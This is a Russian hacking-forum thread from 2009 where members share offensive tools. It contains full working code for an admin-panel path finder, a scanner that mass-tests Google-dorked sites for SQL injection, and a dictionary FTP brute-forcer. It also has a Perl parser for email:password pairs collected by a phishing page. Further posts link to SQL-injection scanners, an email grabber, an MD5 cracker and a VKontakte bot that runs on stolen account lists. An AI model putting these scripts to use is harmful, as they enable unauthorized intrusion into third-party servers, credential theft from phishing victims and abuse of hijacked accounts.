Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

10.05.2009, 21:20
|
|
Новичок
Регистрация: 16.02.2009
Сообщений: 10
Провел на форуме: 390969
Репутация:
8
|
|
Полный Lfi scanner на perl'e,код большой залил на обменник.
http://slil.ru/27524161
|
|
|

12.05.2009, 17:11
|
|
Banned
Регистрация: 10.05.2009
Сообщений: 36
Провел на форуме: 52988
Репутация:
9
|
|
Моя колекция скриптов
silviasql сканер
ссылка:
http://rapidshare.com/files/232010053/silviasql.rar
FTP_scanner_by_softxor
ссылка:
http://rapidshare.com/files/232014333/FTP_scanner_by_softxor.rar
PHP_Injection_Scanner
ссылка:
http://rapidshare.com/files/232015154/PHP_Injection_Scanner.rar
Грабер, чекер валидности и анонимности проксей
ссылка:
http://rapidshare.com/files/232015698/__1043___1088___1072___1073___1077___1088_____1095 ___1077___1082___1077___1088____1074___1072___1083
DNS_Scanner
ссылка:
http://rapidshare.com/files/232016134/DNS_Scanner.rar
Googler_v1.69
ссылка:
http://rapidshare.com/files/232017000/Googler_v1.69.rar
Email_grabber
ссылка:
http://rapidshare.com/files/232018037/Email_grabber.rar
MD5cracker_Bot
ссылка:
http://rapidshare.com/files/232017517/MD5cracker_Bot.rar
|
|
|

15.05.2009, 18:33
|
|
Познающий
Регистрация: 12.04.2009
Сообщений: 45
Провел на форуме: 122612
Репутация:
13
|
|
У кого-нибудь есть поиск админки на пхп/перле?
|
|
|

15.05.2009, 18:38
|
|
Познающий
Регистрация: 07.05.2009
Сообщений: 64
Провел на форуме: 418218
Репутация:
59
|
|
у меня есть, только на питоне:
Код:
#/usr/bin/python
import sys, os, time, httplib
if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = 'clear'
else:
clearing = 'cls'
os.system(clearing)
if len(sys.argv) != 2:
print "\n|-------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "| Help: admin-find.py -h |"
print "|---------------------------------------------------------------|\n"
sys.exit(1)
for arg in sys.argv:
if arg == '-h':
print "\n|-----------------------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "| Usage: admin-find.py www.site.com |"
print "| Example: admin-find.py site.com |"
print "|-------------------------------------------------------------------------------|\n"
sys.exit(1)
site = sys.argv[1].replace("http://","").rsplit("/",1)[0]
site = site.lower()
admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','joomla/administrator','login.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','w ebadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.htm l','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','m odelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpane l.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php', 'admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php ','memberadmin.php','administratorlogin.php']
print "\n|-------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "|---------------------------------------------------------------|\n"
print "\n[-] %s" % time.strftime("%X")
print "[+] Target:",site
print "[+] Checking paths..."
print
try:
for admin in admin_path:
admin = admin.replace("\n","")
admin = "/" + admin
connection = httplib.HTTPConnection(site)
connection.request("GET",admin)
response = connection.getresponse()
print "%s %s %s" % (admin, response.status, response.reason)
except(KeyboardInterrupt,SystemExit):
raise
except:
pass
|
|
|

15.05.2009, 19:50
|
|
Новичок
Регистрация: 16.02.2009
Сообщений: 10
Провел на форуме: 390969
Репутация:
8
|
|
Скрипт для скуллеров :)
Берёте в гугле вводите запрос например:inurl:index.php?id=,
копируете урлу и вставляете в скрипт и он начинает подставлять к каждому урлу +order+by+1000(можете поменять),и потом выводит ошибки...
PHP код:
<?php if(!function_exists("curl_init")) exit("CURL REQUIRED"); ?> <form id="form1" name="form1" method="post" action="<?=$PHP_SELF?>"> <table width="500" border="0" cellspacing="2" cellpadding="2"> <tr> <td><label>query: <input name="query" type="text" id="query" size="100" valuse="<?=$_POST[query]?>"/> <br /> <br /> <font size="2">ex:<strong> http://www.google.com/search?hl=en&q=inurl%3A%22article.php%3Fid%3D%22&btnG=Google+Search</strong></font></label></td> </tr> <tr> <td><label> <input type="submit" name="button" id="button" value="Submit" /> </label></td> </tr> </table> </form> <?php if (!empty($_POST[query]) ){ @set_time_limit(0); @error_reporting(0); @ignore_user_abort(true); ini_set('memory_limit', '128M'); $fetch = fetch(trim($_POST[query])."&num=100" ); if ( strpos($fetch, "We're sorry...") !== false ) { print "GOOGLE ERROR"; exit ;} //if(!preg_match_all("/cite\>([^\>]*>article\.php\?id[^\=]*=\d*)/i", $fetch, $mtc)) { print "GOOGLE2 ERROR"; exit ;} if( !preg_match_all ("/a[\s]+href[\s]?=[\s\"\']+". "http(.*?)[\"\']+.*?"."/", $fetch, $matches)) { print "GOOGLE2 ERROR"; exit ;} foreach (array_unique($matches[0]) as $u) { if ( strpos($u, "cache") !== false ) { continue ;} if ( strpos($u, "google") !== false ) { continue ;} if ( strpos($u, "download.com") !== false ) { continue ;} if ( strpos($u, "youtube.com") !== false ) { continue ;} if ( strpos($u, "javascript:void") !== false ) { continue ;} $u = str_replace("a href=","",$u); $u = str_replace("\"","",$u); $url = str_replace("http://","",$u); $offset =0; $time = 0; while(preg_match("/\=\d{1,}/", $url, $m, PREG_OFFSET_CAPTURE,$offset) ) { if($time>3) break; $offset = $m[0][1]+strlen( $m[0][0]); $time++; $_url = substr_replace ( $url , "+order+by+1000--", $offset , 0); if( preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Warning)\b/i", strip_tags( html_entity_decode( fetch($_url)) ) , $ws)) { print "<strong><font color=red>Походу ***** ему :): $_url</font></strong><font color=blue>".implode(",", $ws[0])."</font><br>"; break; } else { echo $_url."<br>"; flush(); ob_flush(); } } if(!$time) { $url = $url."+order+by+1000--"; if( preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Warning)\b/i", strip_tags( html_entity_decode( fetch($url)) ) , $ws)) { print "<strong><font color=red>Походу ***** ему :): $url</font></strong><font color=blue>".implode(",", $ws[0])."</font><br>"; } else { echo $url."<br>"; flush(); ob_flush(); } } } } function fetch($url) { if(file_exists('stopfile')) exit; $header[] = "Accept-Language: en"; $header[] = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; $header[] = "Connection: Keep-Alive"; $header[] = "Pragma: no-cache"; $header[] = "Cache-Control: no-cache"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); if(!curl_setopt($ch, CURLOPT_TIMEOUT, 5)) {echo 'CURLOPT TIMEOUT Error';} curl_setopt($ch, CURLOPT_HTTPHEADER, $header); //curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt'); //curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt'); $page = curl_exec($ch); curl_close($ch); //echo $page."<HR>"; return $page; } ?>
Чё то у меня не получается нормально код запостить вот ссылка: http://slil.ru/27659432
Последний раз редактировалось Sosok; 16.05.2009 в 13:27..
|
|
|

15.05.2009, 21:26
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме: 5111568
Репутация:
2399
|
|
Sosok:
PHP код:
<?php if(!function_exists("curl_init")) exit("CURL REQUIRED"); ?>
<form id="form1" name="form1" method="post" action="<?=$PHP_SELF?>">
<table width="500" border="0" cellspacing="2" cellpadding="2">
<tr>
<td><label>query:
<input name="query" type="text" id="query" size="100" valuse="<?=$_POST[query]?>"/>
<br />
<br />
<font size="2">ex:<strong> http://www.google.com/search?hl=en&q=inurl%3A%22article.php%3Fid%3D%22&btnG=Google+Search</strong></font></label></td>
</tr> <tr>
<td><label>
<input type="submit" name="button" id="button" value="Submit" />
</label></td>
</tr>
</table>
</form>
<?php
if (!empty($_POST[query]) ){
@set_time_limit(0);
@error_reporting(0);
@ignore_user_abort(true);
ini_set('memory_limit', '128M');
$fetch = fetch(trim($_POST[query])."&num=100" );
if ( strpos($fetch, "We're sorry...") !== false ) { print "GOOGLE ERROR"; exit ;}
//if(!preg_match_all("/cite\>([^\>]*>article\.php\?id[^\=]*=\d*)/i", $fetch, $mtc)) { print "GOOGLE2 ERROR"; exit ;}
if( !preg_match_all ("/a[\s]+href[\s]?=[\s\"\']+".
"http(.*?)[\"\']+.*?"."/",
$fetch, $matches)) { print "GOOGLE2 ERROR"; exit ;}
foreach (array_unique($matches[0]) as $u) {
if ( strpos($u, "cache") !== false ) { continue ;}
if ( strpos($u, "google") !== false ) { continue ;}
if ( strpos($u, "download.com") !== false ) { continue ;}
if ( strpos($u, "youtube.com") !== false ) { continue ;}
if ( strpos($u, "javascript:void") !== false ) { continue ;}
$u = str_replace("a href=","",$u);
$u = str_replace("\"","",$u);
$url = str_replace("http://","",$u);
$offset =0;
$time = 0;
while(preg_match("/\=\d{1,}/", $url, $m, PREG_OFFSET_CAPTURE,$offset) ) {
if($time>3) break;
$offset = $m[0][1]+strlen( $m[0][0]);
$time++;
$_url = substr_replace ( $url , "+order+by+1000--", $offset , 0);
if( preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Warning)\b/i",
strip_tags(
html_entity_decode(
fetch($_url)) ) , $ws)) {
print "<strong><font color=red>Походу ***** ему :): $_url</font></strong><font color=blue>".implode(",", $ws[0])."</font><br>";
break; } else
{ echo $_url."<br>";
flush(); ob_flush(); }
}
if(!$time) {
$url = $url."+order+by+1000--";
if( preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Warning)\b/i",
strip_tags(
html_entity_decode(
fetch($url)) ) , $ws)) {
print "<strong><font color=red>Походу ***** ему :): $url</font></strong><font color=blue>".implode(",", $ws[0])."</font><br>";
} else
{ echo $url."<br>";
flush(); ob_flush(); }
}
}
}
function fetch($url) {
if(file_exists('stopfile')) exit;
$header[] = "Accept-Language: en";
$header[] = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
$header[] = "Connection: Keep-Alive";
$header[] = "Pragma: no-cache";
$header[] = "Cache-Control: no-cache";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE );
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
//curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
if(!curl_setopt($ch, CURLOPT_TIMEOUT, 5)) {echo 'CURLOPT TIMEOUT Error';}
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
//curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');
//curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');
$page = curl_exec($ch);
curl_close($ch);
//echo $page."<HR>";
return $page;
}
?>
|
|
|

15.05.2009, 21:34
|
|
Участник форума
Регистрация: 29.05.2008
Сообщений: 181
Провел на форуме: 979048
Репутация:
101
|
|
в начале в форме не valuse а value мб? ))
|
|
|

24.05.2009, 00:49
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
FTP-BRUTE
фтп-брут по словарям, работает в различных режимах:
1 - брут по двум словарям - логинов и паролей (отдельно словарь логинов, отдельно словарь паролей) - неизвестны ни логин, ни пароль
2 - брут по словарю паролей, известен только логин
3 - брут по словарю логинов, известен только пароль
4 - брут по словарю логин/пароль (разделитель любой, кроме ";" и пробела, например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль
все настройки задаются в файле ftp.ini:
Код:
mode = 3
;0 - брут по двум словарям - логинов и паролей (отдельно словарь логинов, отдельно словарь паролей) - неизвестны ни логин, ни пароль
;1 - брут по словарю паролей, логин нужно внести ниже (известен только логин)
;2 - брут по словарю логинов, пароль нужно внести ниже (известен только пароль)
;3 - брут по словарю логин/пароль (разделитель любой, кроме ";" и пробела, например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль
host = ;фтп-хост
port = 21 ;фтп-порт
login = ;логин (если брут паролей по одному логину)
pass = ;пароль (если брут логинов по одному паролю)
file_pass = passw.txt ;файл-словарь паролей для брута (каждый пароль с новой строки)
file_login = login.txt ;файл-словарь логинов (каждый логин с новой строки)
file_login_pass = log_pass.txt ;файл-словарь логинов/паролей (каждая связка логин/пароль с новой строки)
file_login_pass_del = : ;разделитель между логин/пароль в файле file_login_pass, не может быть ";" или пробелом
file_result = ftp_result.txt ;файл для сохранения результатов
pause = 0 ;пауза между попытками в секундах (если нужно)
timeout = 100 ;таймаут на установление фтп-соединения (обязательный параметр)
kol = 1 ;через какое кол-во попыток выводить инфо на экран
запускается файлом ftpbr.exe (или RUN!!!.cmd) под WIN и файл ftpbr.php под никсами.
Скачать всё в одном архиве, пароль - 123
Из особенностей - абсолютно не требователен к оперативной памяти, независимо от размера словарей
PHP код:
<?php
@set_time_limit(0);
@ini_set("display_errors","0");
ignore_user_abort(1);
echo "\n [[[ FTP-BRUTE 1.0 by Pashkela (c)2009 ]]]";
$ini = parse_ini_file("ftp.ini") or die("ftp.ini not found");
$mode = $ini[mode]; // 0 - брут по двум словарям - логин/пассворд, 1 - брут по словарю паролей, логин нужно внести ниже, 2 - брут по словарю логинов, пароль нужно внести ниже, 3 - брут по словарю логин/пароль (разделитель любой, кроме ";", например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль
$host = $ini[host]; // фтп-хост
$port = $ini[port]; // фтп-пароль
$login = $ini[login]; // логин (если брут паролей по одному логину)
$pass = $ini[pass]; // пароль (если брут логинов по одному паролю)
$file_pass = $ini[file_pass]; // файл-словарь паролей
$file_login = $ini[file_login]; // файл-словарь логинов
$file_result = $ini[file_result]; // файл для сохранения результатов
$file_login_pass = $ini[file_login_pass];// файл-словарь логинов/паролей (каждая связка логин/пароль с новой строки)
$file_login_pass_del = $ini[file_login_pass_del];//разделитель между логин/пароль в файле file_login_pass, не может быть ";" или пробелом
$pause = $ini[pause]; // пауза между попытками, если надо
$timeout = $ini[timeout]; // таймаут на установление фтп-соединения
$kol = $ini[kol]; // через какое кол-во попыток выводить инфо на экран
$handle1 = fopen($file_result, "a");
$i = 0;
$s = 0;
// Брут по двум словарям (не знаем ни логина ни пароля):
if ($mode==0) {
$login = '';
$pass = '';
// Brute
echo "\n\n Count logins & passwords, wait please...";
$handle2 = fopen($file_login, "r");
$handle = fopen($file_pass, "r");
while ($buffer = fgets($handle2)) $p++;
fclose($handle2);
echo "\n\n\n$p logins...working\n";
while ($buffer = fgets($handle)) $g++;
fclose($handle);
echo "$g passwords...working\n";
echo "Will brute login|password\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$handle2 = fopen($file_login, "r");
while (!feof($handle2)) {
$login = trim(fgets($handle2));
echo "\n will brute password for login <$login> ...";
$handle = fopen($file_pass, "r");
while (!feof($handle)) {
$pass = trim(fgets($handle));
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$login,$pass)) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $g - $s;
echo "\nPass $s connections, remain $w passwords, brute...";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Login: $login | Password : $pass>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
fclose($handle);
$i = 0;
$s = 0;
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle1);
fclose($handle2);
}
// Брут по словарю паролей(знаем логин):
if ($mode==1) {
echo "\n\n Count passwords, wait please...";
$handle = fopen($file_pass, "r");
while ($buffer = fgets($handle)) $p++;
fclose($handle);
echo "\n\n\n$p passwords...working\n\n";
echo "Will brute login: <$login>\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$pass = '';
// Brute
$handle = fopen($file_pass, "r");
while (!feof($handle)) {
$pass = trim(fgets($handle));
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$login,$pass)) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $p - $s;
echo "Pass $s connections, remain $w passwords, brute...\n";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Password : $pass>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle);
fclose($handle1);
}
// Брут по словарю логинов(знаем пароль):
if ($mode==2) {
echo "\n\n Count logins, wait please...";
$handle = fopen($file_login, "r");
while ($buffer = fgets($handle)) $p++;
fclose($handle);
echo "\n\n\n$p logins...working\n\n";
echo "Will brute pass: <$pass>\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$login = '';
// Brute
$handle = fopen($file_login, "r");
while (!feof($handle)) {
$login = trim(fgets($handle));
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$login,$pass)) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $p - $s;
echo "Pass $s connections, remain $w logins, brute...\n";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Login : $login>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle);
fclose($handle1);
}
// Брут по словарю логин/пароль(не знаем ни логин ни пароль):
if ($mode==3) {
echo "\n\n Count logins" . $file_login_pass_del . "passwords, wait please...";
$login = '';
$pass = '';
$handle = fopen($file_login_pass, "r");
while ($buffer = fgets($handle)) $p++;
fclose($handle);
echo "\n\n\n$p logins" . $file_login_pass_del . "passwords...working\n\n";
echo "Will brute login" . $file_login_pass_del . "password\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$buffer = '';
$temp = array();
// Brute
$handle = fopen($file_login_pass, "r");
while (!feof($handle)) {
$buffer = trim(fgets($handle));
$temp = explode($file_login_pass_del,$buffer);
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$temp[0],$temp[1])) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $p - $s;
echo "Pass $s connections, remain $w login" . $file_login_pass_del . "password, brute...\n";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Login: {$temp[0]} | Password : {$temp[1]}>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: {$temp[0]}, пароль: {$temp[1]}". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle);
fclose($handle1);
}
?>
Последний раз редактировалось Pashkela; 24.05.2009 в 01:01..
|
|
|

24.05.2009, 05:56
|
|
Участник форума
Регистрация: 24.06.2008
Сообщений: 105
Провел на форуме: 674665
Репутация:
276
|
|
Недавно потребовалось отпарсить данные с фейка.
Написал этот маленький скрипт, возможно кому-нибудь пригодится.
Парсит по формату: мыло@хост<разделитель>паро ь
Убирает дублирующиеся мыльники (юзеры часто думают что ошиблись, и начинают вводить повторно).
Код:
#!/usr/bin/perl
use warnings;
use strict;
my $delim = ':';
open IN, '<', 'in.txt' or die $!;
chomp (my @lines = <IN>) && close IN;
open OUT, '>', 'out.txt' or die $!;
for (@lines)
{
print OUT $_, "\n" if
(m#([a-z0-9][a-z0-9-_]+@[a-z0-9-_]+\.[a-z]{2,4})$delim\S+#ig) &&
($_{$1}=!exists $_{$1});
}
close OUT && print 'finished';
Последний раз редактировалось Whirt; 24.05.2009 в 16:34..
|
|
|

01.06.2009, 20:59
|
|
Участник форума
Регистрация: 12.03.2008
Сообщений: 254
Провел на форуме: 12333903
Репутация:
238
|
|
Скрипт обновил 16.06.09! Вот написал такой скриптек - [V]ote[R],который передаёт голоса вконтакте с профиля на профиль по спискам!
Принцып роботы скрипта через это приложение http://vkontakte.ru/app577176
Скрипт работает так:
---> Логинимся ---> Добавляем приложение себе ---> Бросаем голоса на ID ---> Удаляем приложение.
Вот что он умеет:
|__[+] Работает с двумя списками акков:
|____[+] Список cookies
|____[+] Список mail:pass
|__[+] Есть поддержка proxy
|__[+] Написан на php с curl
|__[+] Работает с антикапчей ! Капчу записывает в capcha.jpg на сервере.
http://dump.ru/file/2912904
http://letitbit.net/download/7916aae...erobf.rar.html
http://depositfiles.com/files/b41zpwilc
Последний раз редактировалось Mixon; 16.06.2009 в 13:55..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|